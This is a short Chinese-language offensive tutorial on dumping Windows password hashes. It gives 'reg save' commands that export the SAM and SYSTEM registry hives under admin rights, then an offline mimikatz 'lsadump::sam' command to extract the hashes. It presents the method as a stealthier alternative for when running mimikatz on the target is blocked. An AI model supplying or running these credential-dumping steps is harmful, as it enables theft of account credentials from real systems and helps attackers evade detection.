经过注册表读 Windows Hash 密码

0x00 前言

在不容许上传或者使用 mimikatz 时，能够经过保存注册表，到本地来读 Windows Hash 密码。这种方法更隐蔽，缺点是要解 Hash。

0x01 操做

管理员权限下执行 cmd:

reg save HKLM\SYSTEM D:\sys.hiv
reg save HKLM\SAM D:\sam.hiv

执行完在 D 盘生成生成两个文件

sys.hiv、sam.hiv

下载到本地 mimikatz 的目录打开 mimikatz。
利用代码：

lsadump::sam /sam:sam.hiv /system:sys.hiv